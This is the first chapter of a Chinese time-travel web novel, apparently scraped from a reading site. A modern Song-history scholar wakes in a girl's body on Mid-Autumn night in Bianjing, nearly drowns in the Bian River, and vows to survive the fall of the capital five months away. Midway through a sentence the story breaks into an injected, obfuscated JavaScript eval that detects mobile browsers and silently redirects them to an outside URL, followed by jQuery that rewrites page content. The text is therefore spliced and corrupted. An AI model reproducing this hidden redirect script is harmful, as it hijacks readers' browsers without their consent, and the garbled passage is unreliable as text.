宣和七年八月十五
汴河的水，在中秋夜是有颜色的。
不是月光的冷白，而是两岸画舫投下的暖金，一层叠着一层，像融化的琥珀淌进水里，被河流搅碎，又重新聚拢。
沈清辞坐在画舫的雕花窗边，隔着一层薄薄的绡纱帘子，看那些光影在水面上漂浮，心里涌起一种奇异的、不真实的眩晕。
丝绸的触感很陌生，这是她第一个清晰的感知。
覆在手背上的那层料子，比她从前穿过任何衣物都要细滑，像是有人用流水织成了布帛，指腹轻轻一划，整个人的心跳都能跟着慢了半拍。
她低头看了看自己的手：修长，白皙，指甲用蔻丹染成浅绯，半月形的甲根处还描了细细的云纹。
这不是她的手。
或者说，这不是她熟悉的那双曾经翻遍故纸堆的手。
沈清辞没有惊叫，也没有当场昏厥。
某种从骨子里带来的冷静让她只是收紧了指尖，将那种快要溢出来的惶惑悄悄压了回去。
舱内丝竹声正热，筝弦拨得如泣如诉，有女子在唱柳永的《雨霖铃》，咬字绵软，尾音里带着一丝故意为之的鼻音。
桌上摆着青瓷碟子，里头盛着藕粉桂花糕，糕点边缘已经微微干了，散发出一缕甜腻腻的气息。
她叫沈清辞。
原主，也叫沈清辞，是江南润州沈氏的嫡长女，今年十六岁，刚刚及芨，生得一张容长脸，眉目如远山，是典型的江南士族教养出来的那种端静模样。
此次原主随母亲入京探亲，暂住舅舅家。
而此刻，她们正坐在舅父王仲山为她们接风洗尘的画舫上。
而她，突入这副身体，此刻正在拼命记住自己是谁。
对岸相国寺的钟声隐隐传来，悠长，沉稳，穿过满河的灯火与笙歌，像一枚石子投入镜面，荡开细密的涟漪。
她闭了闭眼，深吸一口气。水粉的脂香、茶烟的气息、木料被河水浸泡后特有的湿润腥味，全部真实地灌进肺腔。
宣和七年。八月十五。
汴京。
她脑子里某根弦，倏地绷紧了。
“表姐表姐，你在看什么呢？”
一个穿玉色襕衫的的少年凑过来，正是王仲山的幼子王冲，年约十二、三岁，脸颊圆润，一双眼睛弯弯的，像月牙，甚是好看。
此刻正好奇地顺着她的视线往窗外望。
“对岸的灯。“沈清辞听见自己开口，声音比她预想的要平静，甚至带着一丝漫不经心的温柔，“比润州的要多。”
“那是自然！”王冲骄傲地挺了挺胸，“汴京的中秋，整个东京城的人都出来了，连官家都要在宣德楼观灯呢。”
他说着，又压低声音，“表姐，你知道吗，今晚御街上人山人海，我阿爹说，连御龙直的禁军都出动了，就怕有人……”
“冲儿。”
上首传来一声不轻不重的提醒。
沈清辞循声望去，那是她舅母杨氏，鬓边插着一支赤金步摇，摇曳间金珠轻颤，面容端庄，此刻正含着笑意看这边，眼神里却有一丝告诫的意味。
王冲顽皮地吐了吐舌头，乖乖坐回去了。
沈清辞重新将视线移向窗外。
画舫是两层的楼船，雕梁画栋，四角悬着描金的宫灯，流苏随风微微摆动。舱壁上嵌着缂丝屏风，绣的是秋江远帆图，工笔细腻，连远处山头的几株枫叶都一一绣出了层次。
王仲山任职太府寺少卿，官阶不高不低，这画舫的规制已是他能撑起来的最大体面。
她舅父此刻坐在主位，圆脸微须，笑起来两腮有肉，看着是个和气的人。
他正与几位同僚的妻眷谈笑，语气轻松，但不时用眼角余光瞥一眼舱外的动静。
这是当惯了官场人的习惯，哪怕是宴饮之间，也要分一分心思出来留意四周。
沈清辞看了他一眼，悄悄收回目光。
王仲山。她在记忆里搜索这个名字。原主的记忆是碎片式的，像一堆没有装裱的画稿，东一张西一张，需要她慢慢拼。
但有一点是确定的：这位舅父是个老实本分的京官，靖康之难时，他最终没能逃出去。
靖康之难。
这四个字落进心里，像突然被塞了一块寒铁，透心凉。
夜深了，河面上的风开始大起来。
画舫微微晃动，几盏宫灯随着晃荡，光影在舱壁上起伏，像潮水。
外头的喧嚣非但没有减退，反而越来越盛。
中秋夜的汴河两岸，此刻正是最热闹的时候。
临岸的酒楼悬出了彩灯，有杂耍艺人在岸边空地上表演吐火，围了里三层外三层的人，喝彩声一浪高过一浪。
沈清辞在舅母的示意下，带着王冲到了画舫的外廊上透气。
外廊是一道窄窄的回廊，临水一侧装着雕花木栏，漆成朱红，岁月磨得有些旧了，但此刻被灯光一照，仍是富贵的颜色。
栏杆外就是汴河，水声近在咫尺，夹杂着远远近近的笑语与丝竹。
河面上来往的船只甚多，有画舫，有货船，也有些简陋的小舟，载着普通百姓在河上漂着看灯。
月亮升到了正中，又圆又亮，映在水里，被船桨划碎了，碎成一片粼粼的银光。
“表姐，你瞧那边！“王冲踮起脚尖，指着对岸一盏走马灯，兴奋得脸颊通红。
沈清辞顺着他手指的方向看过去。
就在那一眼之间，她的视线被河对岸的一道黑影钉住了。
是一个人。男人。
站在对岸的柳树下，深色的衣袍让他几乎融进了夜色，若非月光在某一刻恰好从云层里穿出来，她大约根本不会注意到那里还站着个人。
他的身形颀长，负手而立，与周遭熙攘的人群之间仿佛隔着一层无形的屏障。
不过是一瞬。
人群忽然涌动起来，不知是谁撞了前面的人，连锁似的，廊上几个女眷都跟着踉跄了一下。
王冲惊呼一声，本能地抓住了栏杆。
沈清辞却没有抓住任何东西。
她感觉到脚下的甲板在倾斜，栏杆从指间滑走，然后是一段短暂的、近乎失重的飞坠——
冰凉的水劈头盖脸地裹上来。
汴河的水在八月仍是带凉意的。
她往下沉，丝绸的裙裾在水里展开，像一朵开败的茶蘼花。
两段记忆在这一刻剧烈地撞在了一起：原主的恐惧是本能、纯粹的，像被攥住喉咙的窒息感；而她，在更深的地方，保持着某种近乎荒诞的冷静，甚至还在不断提醒自己，不要慌，闭气，往上游。
沈清辞拼命往上蹬腿。
裙裾太重，水在耳边轰鸣，眼前是一片模糊的光影，分不清哪里是岸，哪里是月亮。
她的肺，因憋气，开始剧烈地燃烧。
记忆的碎片乘着这种窒息感汹涌而来：高铁的玻璃窗，图书馆的台灯，满满一书架的线装古籍，还有导师在答辩现场略带遗憾的一句“功课做得很扎实，可惜，就是进不去那个时代”……
曾经的沈清辞，是以研究宋史为业的。
只是从来没有想过，有一天她会沉在宋朝的汴河里。
胸腔里，最后一口气快要撑不住了，意识开始变得稀薄，像被水泡散的宣纸。然后有什么东西，突然抓住了她的手腕，用力向上拉……
之后，就是一片黑暗。
沈清辞再度睁开眼睛，看见的是一方藻井。
绘着青色的缠枝莲纹，描金的线条，做工精细，是典型的宋代大户人家内宅的规制。
她木木地盯着那方藻井看了很长时间，等呼吸渐渐平稳下来，才慢慢坐起身。
身上已经换了干净的中衣，发髻已经散
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323891|199114||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开，乌黑的长发直直垂在背后。锦被的织纹在掌心留下浅浅的痕迹。
她已经回到舅舅王仲山的府上。
内室的陈设不算奢华，却处处透着讲究。
临窗的一张月牙桌上摆着一盆秋海棠，花色正好，矮几上燃着一支香，是沉水香，气息沉静。
床帐是蜜合色的，帐钩是羊脂玉的小蝶，一对，左右对称。窗纸透进来的光是月色，已经偏西了，窗外隐约有更漏的声音。
沈清辞掀开被子下了床，赤着足走到妆台前。
青铜镜里映出了一张陌生的脸。
细长的眉，微微上挑的眼尾，眼波里有一种天生的清冷，鼻梁挺而秀，唇色极淡。此刻因为落水后初醒，面色透着薄薄的苍白，反而更像一张水墨画出来的脸。
“沈清辞。”她对着镜子里的人默默喊了这个名字，轻轻道了一句：“你好。”
“表小姐，您醒了？！”
帘子被人从外头掀开，进来的是一个十四五岁的丫鬟，圆脸，双丫髻，穿着浅碧色的袄裙，进门就是一脸惊喜，“奴婢这就去告诉太太，表小姐，您先回床躺着别动，大夫说您受了寒，要静养的！”
“等一下。“沈清辞叫住她，声音沙哑，但很温柔，“你叫什么名字？”
丫鬟愣了一下，笑着回道：“奴婢绿芜，是太太派来服侍表小姐的。”
“绿芜。“她重复了一遍，“现在是什么时辰了？”
“快四更了。“绿芜答，又迟疑了一下，“表小姐落水之后，捞上来时，把大家都吓坏了，府里大娘子听说后，哭了好一会儿……太太已经让大夫来看过了，说无大碍，只是受了惊，叫好好歇着……”
沈清辞点点头，示意她去通报。
等绿芜退出去，她在床沿坐下来，把攥在心里的那团思绪慢慢展开。
宣和七年，八月十五。
她在脑子里拉出一条时间轴，细致而清晰，像当年在灯下翻史料时划出的那些时间线……
宣和十月，宋徽宗赵佶将皇位禅让给太子赵桓，是为钦宗，改元靖康。
宣和十二月，金军两路南下，完颜宗望率东路军渡河，直逼汴京。
靖康元年正月，金兵兵临城下，汴京震动。
从现在到靖康元年正月，拢共不过五个月。
汴京的繁华是真实的，今夜画舫上的丝竹声是真实的，藕粉桂花糕的甜香是真实的，王仲山夫妇脸上那种漫不经心的太平气是真实的——
这一切，距离它的终结，只有五个月。
而沈清辞，也只有五个月。
她能改变什么？
这个问题沉甸甸的，不敢深想，但现在，却也不得不想。
历史的惯性是巨大的。
沈清辞比任何人都清楚这一点。
她曾经用整个读书生涯去研究那段历史，研究汴京如何繁华，又如何在短短两年间分崩离析，研究那些名字背后真实的人，在末世里各自的选择与挣扎。
她从没奢望自己能改变什么。
但她也从没想过，有一天她会在宋朝的河里淹过水。
窗外，汴京的灯火还没有全灭，那些光透过窗纸映进来，在地面上落下暖黄的光晕，与头顶月色混在一处，竟是出奇地明亮。
汴京城今夜还是盛世的模样，通衢大街上还有行人，相国寺的香火还在，太府寺的账簿还在，无数无数普通人还在他们自己的屋檐下安稳地睡着，不知道命运的刀已经悬在了头顶。
沈清辞坐了很久。
然后，她转身，从妆台的抽屉里摸出一管湖笔，在旁边的素纸上，一笔一划，写下三个字：
活下去。
墨迹晕开，在素纸上沉了下去，像一个刚刚落锚的承诺。
窗外的汴京灯火如昼，照亮了这个她将在其中挣扎求生的时代。
（第一章终）